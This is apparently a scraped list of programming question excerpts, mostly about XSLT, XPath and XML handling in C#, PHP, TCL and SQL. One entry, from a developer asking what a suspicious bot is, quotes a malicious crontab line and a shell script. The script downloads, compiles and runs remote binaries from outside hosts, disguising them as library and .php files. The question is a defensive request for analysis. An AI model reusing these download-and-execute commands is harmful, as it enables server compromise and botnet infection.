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  • Using XSLT, how can I produce a table with elements at the position of the the node's attributes?

    - by Dr. Sbaitso
    Given the following XML: <items> <item> <name>A</name> <address>0</address> <start>0</start> <size>2</size> </item> <item> <name>B</name> <address>1</address> <start>2</start> <size>4</size> </item> <item> <name>C</name> <address>2</address> <start>5</start> <size>2</size> </item> </items> I want to generate the following output including colspan's +---------+------+------+------+------+------+------+------+------+ | Address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | +---------+------+------+------+------+------+------+------+------+ | 0 | | | | | | | A | +---------+------+------+------+------+------+------+------+------+ | 1 | | | B | | | +---------+------+------+------+------+------+------+------+------+ | 2 | | C | | | | | | +---------+------+------+------+------+------+------+------+------+ | 3 | | | | | | | | | +---------+------+------+------+------+------+------+------+------+ I think I would be able to accomplish this with a mutable xslt variable, but alas, there's no such thing. Is it even possible? How?

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  • how to pull href link

    - by user1751494
    I am trying to pull a link from a page that is in a formal I can't seem to find by simply googling... it might be simple but xpath is not my area of expertise I am using c# and trying to pull the link and just write it to the console to figure out how to get the link here is my C# code var document = webGet.Load("http://classifieds.castanet.net/cat/vehicles/cars/0_-_4_years_old/"); var browser = document.DocumentNode.SelectSingleNode("//a[starts-with(@href,'/details/')]"); if (browser != null) { string htmlbody = browser.OuterHtml; Console.WriteLine(htmlbody); } the html code section is <div class="last">&hellip;</div><a href="/cat/vehicles/cars/0_-_4_years_old/?p=13">13</a><a href="/cat/vehicles/cars/0_-_4_years_old/?p=2">&raquo;</a> <select name="sortby" class="sortby" onchange="doSort(this);"> <option value="">Most Recent</option> <option value="of" >Oldest First</option> <option value="mw" >Most Views</option> <option value="lw" >Fewest Views</option> <option value="lp" >Lowest Price</option> <option value="hp" >Highest Price</option> </select><div style="clear:both"></div> </div> <br /><br /><br /> <a href="/details/2008_vw_gti/1454282/" class="prod_container" > <h2>2008 VW GTi</h2> <div style="float:left; width:122px; z-index:1000"> <div class="thumb"><img src="http://c.castanet.net/img/28/thumbs/1454282-1-1.jpg" border="0"/></div> <div class="clear"></div> mls </div> <div class="descr"> The most fun car I have owned. Dolphin Grey, 4 door, Dual Climate control, DRG Transmission with paddle shift. Leather... </div> <div class="pdate"> <p class="price">$19,000.00</p> <p class="date">Kelowna<br />Posted: Oct 15, 2:54 PM<br />Views: 349</p> </div> <div style="clear:both" ></div> <div class="seal"><img src="/images/bookmark.png" /></div> </a> <a href="/details/price_drop_gorgeous_rare_white_2009_honda_accord_ex-l_coupe/1447341/" class="prod_container" > <h2>PRICE DROP!!! Gorgeous Rare White 2009 Honda Accord EX-L Coupe </h2> <div style="float:left; width:122px; z-index:1000"> <div class="thumb"><img src="http://c.castanet.net/img/28/thumbs/1447341-1-1.jpg" border="0"/></div> <div class="clear"></div> sun2010 </div> <div class="descr"> the link I'm trying to get is the "/details/2008_vw_gti/1454282/" part. THanks

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  • Is SecureShellz bot a virus? How does it work?

    - by ProGNOMmers
    I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

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  • Use DataSource in DataFormWebPart

    - by Bryan Shen
    I'm writing a custom web part that extends DataFormWebPart. public class MyCustomWebPart : DataFormWebPart{ // other methods public override void DataBind() { XmlDataSource source = new XmlDataSource() { Data = @" <Person> <name cap='true'>Bryan</name> <occupation>student</occupation> </Person> " }; DataSources.Add(source); base.DataBind(); } } The only noticeable thing I do is overriding the DataBind() method, where I use xml as the data source. After I deploy the web part, I set the following XSL to it: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes"/> <xsl:template match="/"> <xmp> <xsl:copy-of select="*"/> </xmp> </xsl:template> </xsl:stylesheet> This xsl will surround the input xml with a tag . So I expected the web part to display the original xml data as I wrote in C# code behind. But what shows up in the web part is this: <Person> <name cap="true" /> <occupation /> </Person> All the values within the inner-most tags disappear. What's going on? Can anybody help me? Thanks.

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  • How to Use DataSource Property in DataFormWebPart

    - by Bryan Shen
    I'm writing a custom web part that extends DataFormWebPart. public class MyCustomWebPart : DataFormWebPart{ // other methods public override void DataBind() { XmlDataSource source = new XmlDataSource() { Data = @" <Person> <name cap='true'>Bryan</name> <occupation>student</occupation> </Person> " }; DataSources.Add(source); base.DataBind(); } } The only noticeable thing I do is overriding the DataBind() method, where I use xml as the data source. After I deploy the web part, I set the following XSL to it: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes"/> <xsl:template match="/"> <xmp> <xsl:copy-of select="*"/> </xmp> </xsl:template> </xsl:stylesheet> This xsl will surround the input xml with a tag . So I expected the web part to display the original xml data as I wrote in C# code behind. But what shows up in the web part is this: <Person> <name cap="true" /> <occupation /> </Person> All the values within the inner-most tags disappear. What's going on? Can anybody help me? Thanks.

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  • xslt broken: pattern does not match

    - by krisvandenbergh
    I'm trying to query an xml file using the following xslt: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#" xmlns:bpmn="http://dkm.fbk.eu/index.php/BPMN_Ontology"> <!-- Participants --> <xsl:template match="/"> <html> <body> <table> <xsl:for-each select="Package/Participants/Participant"> <tr> <td><xsl:value-of select="ParticipantType" /></td> <td><xsl:value-of select="Description" /></td> </tr> </xsl:for-each> </table> </body> </html> </xsl:template> </xsl:stylesheet> Here's the contents of the xml file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xsl" href="xpdl2bpmn.xsl"?> <Package xmlns="http://www.wfmc.org/2008/XPDL2.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Id="25ffcb89-a9bf-40bc-8f50-e5afe58abda0" Name="1 price setting" OnlyOneProcess="false"> <PackageHeader> <XPDLVersion>2.1</XPDLVersion> <Vendor>BizAgi Process Modeler.</Vendor> <Created>2010-04-24T10:49:45.3442528+02:00</Created> <Description>1 price setting</Description> <Documentation /> </PackageHeader> <RedefinableHeader> <Author /> <Version /> <Countrykey>CO</Countrykey> </RedefinableHeader> <ExternalPackages /> <Participants> <Participant Id="008af9a6-fdc0-45e6-af3f-984c3e220e03" Name="customer"> <ParticipantType Type="RESOURCE" /> <Description /> </Participant> <Participant Id="1d2fd8b4-eb88-479b-9c1d-7fe6c45b910e" Name="clerk"> <ParticipantType Type="ROLE" /> <Description /> </Participant> </Participants> </Package> Despite, the simple pattern, the foreach doesn't work. What is wrong with Package/Participants/Participant ? What do I miss here? Thanks a lot!

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  • How can I transform XML to invalid XML using XSLT?

    - by Damovisa
    I need to transform a valid XML document to the OFX v1.0.2 format. This format is more or less XML, but it's technically invalid and therefore cannot be parsed as XML. I'm having trouble getting my Xml transformation working because the .Net XslCompiledTransform object insists on interpreting the XSL as an XML document (which is fair enough). If I escape the xml-ish tags using &lt; and &gt, they get removed when I download the file. Here's the start of my XSLT: <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:output method="text"></xsl:output> <xsl:param name="currentdate"></xsl:param> <xsl:template match="Transactions"> OFXHEADER:100 DATA:OFXSGML VERSION:102 SECURITY:NONE ENCODING:USASCII CHARSET:1252 COMPRESSION:NONE OLDFILEUID:NONE NEWFILEUID:NONE <OFX> <SIGNONMSGSRSV1> <SONRS> <STATUS> <CODE>0 <SEVERITY>INFO </STATUS> <DTSERVER><xsl:value-of select="$currentdate" /> <LANGUAGE>ENG Any suggestions?

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  • XSLT Transformation of XML File

    - by Russ Clark
    I've written a simple XML Document that I am trying to transform with an XSLT file, but I get no results when I run the code. Here is my XML document: <?xml version="1.0" encoding="utf-8" ?> <Employee xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="XSLT_MVC.Controllers"> <ID>42</ID> <Name>Russ</Name> </Employee> And here is the XSLT file: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl" xmlns:ex="XSLT_MVC.Controllers" > <xsl:output method="xml" indent="yes"/> <xsl:template match="/"> <xsl:copy> <!--<xsl:apply-templates select="@* | node()"/>--> <xsl:value-of select="ex:Employee/Name"/> </xsl:copy> </xsl:template> </xsl:stylesheet> Here is the code (from a C# console app) I am trying to run to perform the transform: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml; using System.Xml.Xsl; using System.Xml.XPath; namespace XSLT { class Program { static void Main(string[] args) { Transform(); } public static void Transform() { XPathDocument myXPathDoc = new XPathDocument(@"docs\sampledoc.xml"); XslTransform myXslTrans = new XslTransform(); myXslTrans.Load(@"docs\new.xslt"); XmlTextWriter myWriter = new XmlTextWriter( "results.html", null); myXslTrans.Transform(myXPathDoc, null, myWriter); myWriter.Close(); } } } When I run the code I get a blank html file. I think I may have problems with the namespaces, but am not sure. Can anyone help with this?

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  • How to add some complexe structure in multiple places in an XML file

    - by Guillaume
    I have an XML file which has many section like the one below : <Operations> <Action [some attibutes ...]> [some complexe content ...] </Action> <Action [some attibutes ...]> [some complexe content ...] </Action> </Operations> I have to add an to every . It seems that an XSLT should be a good solution to this problem : <xsl:template match="Operations/Action[last()]"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> <Action>[some complexe content ...]</Action> </xsl:template> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> My problem is that the content of my contains some xPath expressions. For exemple : <Action code="p_histo01"> <customScript languageCode="gel"> <gel:script xmlns:core="jelly:core" xmlns:gel="jelly:com.niku.union.gel.GELTagLibrary" xmlns:soap="jelly:com.niku.union.gel.SOAPTagLibrary" xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sql="jelly:sql" xmlns:x="jelly:xml" xmlns:xog="http://www.niku.com/xog" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <sql:param value="${gel_stepInstanceId}"/> </gel:script> </customScript> </Action> The '${gel_stepInstanceId}' is interpreted by my XSLT but I would like it to be copied as-is. Is that posible ? How ?

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  • PHP5 : Applying a method from an extended class on an object from the original (parent) class.

    - by Glauber Rocha
    Hello, I'm trying to extend two native PHP5 classes (DOMDocument and DOMNode) to implement 2 methods (selectNodes and selectSingleNode) in order to make XPath queries easier. I thought it would be rather straighforward, but I'm stuck in a problem which I think is an OOP beginner's issue. class nDOMDocument extends DOMDocument { public function selectNodes($xpath){ $oxpath = new DOMXPath($this); return $oxpath->query($xpath); } public function selectSingleNode($xpath){ return $this->selectNodes($xpath)->item(0); } } Then I tried to do extend DOMNode to implement the same methods so I can perform an XPath query directly on a node: class nDOMNode extends DOMNode { public function selectNodes($xpath){ $oxpath = new DOMXPath($this->ownerDocument,$this); return $oxpath->query($xpath); } public function selectSingleNode($xpath){ return $this->selectNodes($xpath)->item(0); } } Now if I execute the following code (on an arbitrary XMLDocument): $xmlDoc = new nDOMDocument; $xmlDoc->loadXML(...some XML...); $node1 = $xmlDoc->selectSingleNode("//item[@id=2]"); $node2 = $node1->selectSingleNode("firstname"); The third line works and returns a DOMNode object $node1. However, the fourth line doesn't work because the selectSingleNode method belongs to the nDOMNode class, not DOMNode. So my question: is there a way at some point to "transform" the returned DOMNode object into a nDOMNode object? I feel I'm missing some essential point here and I'd greatly appreciate your help. (Sorry, this is a restatement of my question http://stackoverflow.com/questions/2573820/)

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  • How to Create Element in XSLT When Copying Using Templates

    - by John Dumont
    Hello, I'm trying to create an element in an XML where the basic content is copied and modified. My XML is something like <root> <node> <child>value</child> <child2>value2</child2> </node> <node2>bla</node2> </root> The number of children of node may change as well as the children of root. The XSLT should copy the whole content, modify some values and add some new. The copying and modifying is no problem: <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="2.0"> <xsl:output method="xml" encoding="UTF-8"/> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:stylesheet> (+ further templates for modifications). But how do I add a new element in this structure on some path, e.g. I want to add an element as the last element of the "node" node. The "node" element itself always exists.

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  • XSLT: Disable output escaping in an entire document.

    - by Kragen
    I'm trying to generate some C# code using xslt - its working great until I get to generics and need to output some text like this: MyClass<Type> In this case I've found that the only way to emit this is to do the following: MyClass<xsl:text disable-output-escaping="yes">&lt;</xsl:text>Type<xsl:text disable-output-escaping="yes">&gt;</xsl:text> Where: Often it all needs to go on one line, otherwise you end up with line breaks in the generated code In the above example I technically could have used only 1 <xsl:text />, however usually the type Type is given by some other template, e.g: <xsl:value-of select="@type" /> I don't mind having to write &lt; a lot, but I would like to avoid writing <xsl:text disable-output-escaping="yes">&lt;</xsl:text> for just a single character! Is there any way of doing disable-output-escaping="yes" for the entire document?

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  • XSLT creating a table with varying amount of columns

    - by H4mm3rHead
    Hi, I have a RSS feed i need to display in a table (its clothes from a webshop system). The images in the RSS vary in width and height and I want to make a table that shows them all. First off i would be happy just to show all of the items in 3 columns, but further down the road i need to be able to specify through a parameter the amount of columns in my table. I run into a problem showing the tr tag, and making it right, this is my Code so far: <xsl:template match="item"> <xsl:choose> <xsl:when test="position() mod 3 = 0 or position()=1"> <tr> <td> <xsl:value-of select="title"/> </td> </tr> </xsl:when> <xsl:otherwise> <td> <xsl:value-of select="title"/> </td> </xsl:otherwise> </xsl:choose> </xsl:template> In RSS all "item" tags are on the same level in the xml, and thus far i need only the title shows. Thr problem seems to be that i need to specify the start tag as well as the end tag of the tr element, and cant get all 3 elements into it, anyone know how to do this?

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  • Navigating sorted XML data (XSLT)

    - by Andrew Parisi
    I have an XML file with company data in it, for 30 companies across 8 industries, on a portfolio page. The user has the option to sort this data by Industry, and this XML file will be added to constantly. This sorting is done in my XSL file using <xsl:choose>. Example: <xsl:when test="(invest[@investid='con'])"> <xsl:for-each select="$invest-port/portfolio/company[@industry='Communications']"> <xsl:sort select="name" /> <div class="invest-port-thumb"> <a> <xsl:attribute name="href"> <xsl:value-of select="link" /> </xsl:attribute> </a> </div> </xsl:for-each> </xsl:when> When navigating to an individual company's page, there are "previous" and "next" buttons at the bottom of the window. My issue is that I need these to dynamically link to the previous and next elements from within the XML data that has been sorted. Is this possible? Or is there an easier way to do this? (such as place each company in industry-divided XML files instead of one) Any insight would be greatly appreciated!

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  • XSLT Exclude Specific Tags

    - by MMKD
    I have a problem i am trying to resolve in an XSLT but i an unable to find a solution. The example below is related to a payment system it is adding items to a basket then removing them. The out XML provides a audit trail of actions conducted on a basket. Senario: Add Item (Id 1) Add Item (Id 1) With a price change Void Item (Id 1) Void Item (Id 1) With a price change Add Item (Id 1) Add Item (Id 1) Expected Outcome Remove: Add Item (Id 1) Add Item (Id 1) With a price change Output XML Contains Void Item (Id 1) Void Item (Id 1) With a price change Add Item (Id 1) Add Item (Id 1) Input XML: <xml> <product void="false"> <sequence_number>1</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> <product void="false"> <sequence_number>2</sequence_number> <item_id>11111111</item_id> <price>12</price> <price_change> <price>10</price> </price_change> </product> <product void="true"> <sequence_number>3</sequence_number> <item_id>11111111</item_id> <price>12</price> <price_change> <price>10</price> </price_change> </product> <product void="true"> <sequence_number>4</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> <product void="false"> <sequence_number>5</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> <product void="false"> <sequence_number>6</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> </xml> Expected outcome: <xml> <product void="true"> <sequence_number>3</sequence_number> <item_id>11111111</item_id> <price>12</price> <price_change> <price>10</price> </price_change> </product> <product void="true"> <sequence_number>4</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> <product void="false"> <sequence_number>5</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> <product void="false"> <sequence_number>6</sequence_number> <item_id>11111111</item_id> <price>12</price> </product> </xml> XSLT <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template match="//product[@void='false']"> <xsl:if test="item_id != //product[@void='true']/item_id"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:if> </xsl:template> </xsl:stylesheet> The problem with this is that it is deleting all products that are not voided and have the same id and not taking into account the number of void items vs the number of none void items. If you have 1 void item it should only delete one product that is not voided but has exactly the same tags as itself

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  • XSLT - Adding a class to something with a class?

    - by Probocop
    When using XSLT how do I apply a class to an element which already has a class? The way I'm doing it it replaces the class that is already present? How would I add the class in addition to the existing class? My code is as follows: <xsl:if test="data[@alias = 'off'] = 1"> <xsl:attribute name="class">off</xsl:attribute> </xsl:if> <xsl:if test="$currentPage/ancestor-or-self::node/@id = current()/@id"> <xsl:attribute name="class">active</xsl:attribute> </xsl:if> Thanks.

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  • how to COPY Attribute value in a new attribute

    - by Mukesh
    How to copy data of attribute to new attribute in the same column in sql original data <root> <child attr='hello'></child> </root> Result 1 <root> <child attr='hello' attr2='hello'></child> </root> Result 2(with a modification) <root> <child attr='hello' attr2='**H**ello **W**orld'></child> </root>

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  • HtmlAgilityPack SelectNodes expression to ignore an element with a certain attribute

    - by thaky
    I am trying to select nodes except from script nodes and a ul that has a class called 'relativeNav'. Can someone please direct me to the right path? I have been searching for this for a week and I can't find it anywhere. Currently I have this but it obviously selecting the //ul[@class='relativeNav'] as well. Is there anyway to put an NOT expression of it so that SelectNode will ignore that one? foreach (HtmlNode node in doc.DocumentNode.SelectNodes("//body//*[not(self::script)]/text()")) { Console.WriteLine("Node: " + node); singleString += node.InnerText.Trim() + "\n"; }

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  • remember the highlighted text in html page(add annotation to html page)

    - by ganapati hegde
    Hi, I have an HTML file, i am opening it with webkit,i want to develop an app, such that after opening it, i should be able to select some text and make it highlighted(say by pressing some button 'highlight text' ). And it should remember the highlighted text so that when i open it next time it should highlight the same text automatically...which information i got to store so that i can highlight the same in the next time ? any library is available which makes my work simple?

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  • problem with AddSort method

    - by netNewbi3
    Hi Could you let me know what the proboem is with sorting in this code? It doesn't work. My xml: CONTRACTS --CONTRACT ---SUPPLIER ---COMMODITIES ----COMMODITY -----COMODDITYNAME My code: Dim myString As StringBuilder = New StringBuilder(200) Dim xdoc As New XPathDocument("local_xml.xml") Dim nav As XPathNavigator = xdoc.CreateNavigator() Dim expr As XPathExpression expr = nav.Compile("/pf:CONTRACTS/pf:CONTRACT") Dim namespaceManager As XmlNamespaceManager = New XmlNamespaceManager(nav.NameTable) namespaceManager.AddNamespace("pf", "http://namespace.ac.uk/") expr.AddSort("pf:SUPPLIER", XmlSortOrder.Ascending, XmlCaseOrder.None, String.Empty, XmlDataType.Text) expr.SetContext(namespaceManager) Dim nodes As XPathNodeIterator = nav.Select(expr) If nodes.Count > 0 Then myString.AppendLine("<table width='96%' border='0' cellpadding='0' cellspacing='0' border='0' class='datatable1'>") myString.AppendLine("<th width='35%'>Name</th><th width='35%'>Commodity</th><th width='20%'>Supplier</a></th>") While nodes.MoveNext() Dim node As XPathNavigator = nodes.Current.SelectSingleNode("pf:NAME", namespaceManager) Dim supplier As XPathNavigator = nodes.Current.SelectSingleNode("pf:SUPPLIER", namespaceManager) Dim commodity As XPathNavigator = nodes.Current.SelectSingleNode("pf:COMMODITIES/pf:COMMODITY/pf:COMMODITYNAME", namespaceManager) Dim sChars As String = " " myString.AppendLine("<tr>") myString.AppendLine("<td>") myString.AppendLine(node.ToString()) myString.AppendLine("</td>") myString.AppendLine("<td>") myString.AppendLine(commodity.ToString()) myString.AppendLine("</td>") myString.AppendLine("<td>") myString.AppendLine(supplier.ToString()) myString.AppendLine("</td>") myString.AppendLine("</tr>") End While myString.AppendLine("</table>") Dim strOutput As String = myString.ToString() lblOutput.Text = strOutput Else lblOutput.Text = "No results for your search<br/>" End If

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  • TCL tDom Empty XML Tag

    - by pws5068
    I'm using tDom to loop through some XML and pull out each element's text(). set xml { <systems> <object> <type>Hardware</type> <name>Server Name</name> <attributes> <vendor></vendor> </attributes> </object> <object> <type>Hardware</type> <name>Server Two Name</name> <attributes> <vendor></vendor> </attributes> </object> </systems> }; set doc [dom parse $xml] set root [$doc documentElement] set nodeList [$root selectNodes /systems/object] foreach node $nodeList { set nType [$node selectNodes type/text()] set nName [$node selectNodes name/text()] set nVendor [$node selectNodes attributes/vendor/text()] # Etc... puts "Type: " puts [$nType data] # Etc .. puts [$nVendor data] } But when it tries to print out the Vendor, which is empty, it thows the error invalid command name "". How can I ignore this and just set $nVendor to an empty string?

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  • Formatting datetime values returned in a SELECT..FOR XML statement

    - by TelJanini
    Consider the following table: Orders OrderId Date CustomerId 1000 2012-06-05 20:03:12.000 51 1001 2012-06-16 12:02:31.170 48 1002 2012-06-18 19:45:16.000 33 When I extract the Order data using FOR XML: SELECT OrderId AS 'Order/@Order-Id', Date AS 'Order/ShipDate', CustomerId AS 'Order/Customer' FROM Orders WHERE OrderId = 1000 FOR XML PATH ('') I get the following result: <Order Order-Id="1000"> <ShipDate>2010-02-20T16:03:12</ShipDate> <Customer>51</Customer> </Order> The problem is, the ShipDate value in the XML file needs to be in the format M/DD/YYYY H:mm:ss PM. How can I change the output of the ShipDate in the XML file to the desired format? Any help would be greatly appreciated!

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  • Select XML nodes as rows

    - by Bjørn
    I am selecting from a table that has an XML column using T-SQL. I would like to select a certain type of node and have a row created for each one. For instance, suppose I am selecting from a people table. This table has an XML column for addresses. The XML is formated similar to the following: <address> <street>Street 1</street> <city>City 1</city> <state>State 1</state> <zipcode>Zip Code 1</zipcode> </address> <address> <street>Street 2</street> <city>City 2</city> <state>State 2</state> <zipcode>Zip Code 2</zipcode> </address> How can I get results like this: Name         City         State Joe Baker   Seattle      WA Joe Baker   Tacoma     WA Fred Jones  Vancouver BC

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  • How to copy child nodes to another xml document?

    - by Alex
    Below is my xml XML1 <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>1</TITLE> <ARTIST>Bob Dylan</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>Columbia</COMPANY> <PRICE>10.90</PRICE> <YEAR>1985</YEAR> </CD> <CD> <TITLE>2</TITLE> <ARTIST>Bonnie Tyler</ARTIST> <COUNTRY>UK</COUNTRY> <COMPANY>CBS Records</COMPANY> <PRICE>9.90</PRICE> <YEAR>1988</YEAR> </CD> </CATALOG> XML2 <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>3</TITLE> <ARTIST>Dolly Parton</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>RCA</COMPANY> <PRICE>9.90</PRICE> <YEAR>1982</YEAR> </CD> </CATALOG> i need output like this <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>1</TITLE> <ARTIST>Bob Dylan</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>Columbia</COMPANY> <PRICE>10.90</PRICE> <YEAR>1985</YEAR> </CD> <CD> <TITLE>2</TITLE> <ARTIST>Bonnie Tyler</ARTIST> <COUNTRY>UK</COUNTRY> <COMPANY>CBS Records</COMPANY> <PRICE>9.90</PRICE> <YEAR>1988</YEAR> </CD> <CD> <TITLE>3</TITLE> <ARTIST>Dolly Parton</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>RCA</COMPANY> <PRICE>9.90</PRICE> <YEAR>1982</YEAR> </CD> </CATALOG> How i write this in classic asp ?

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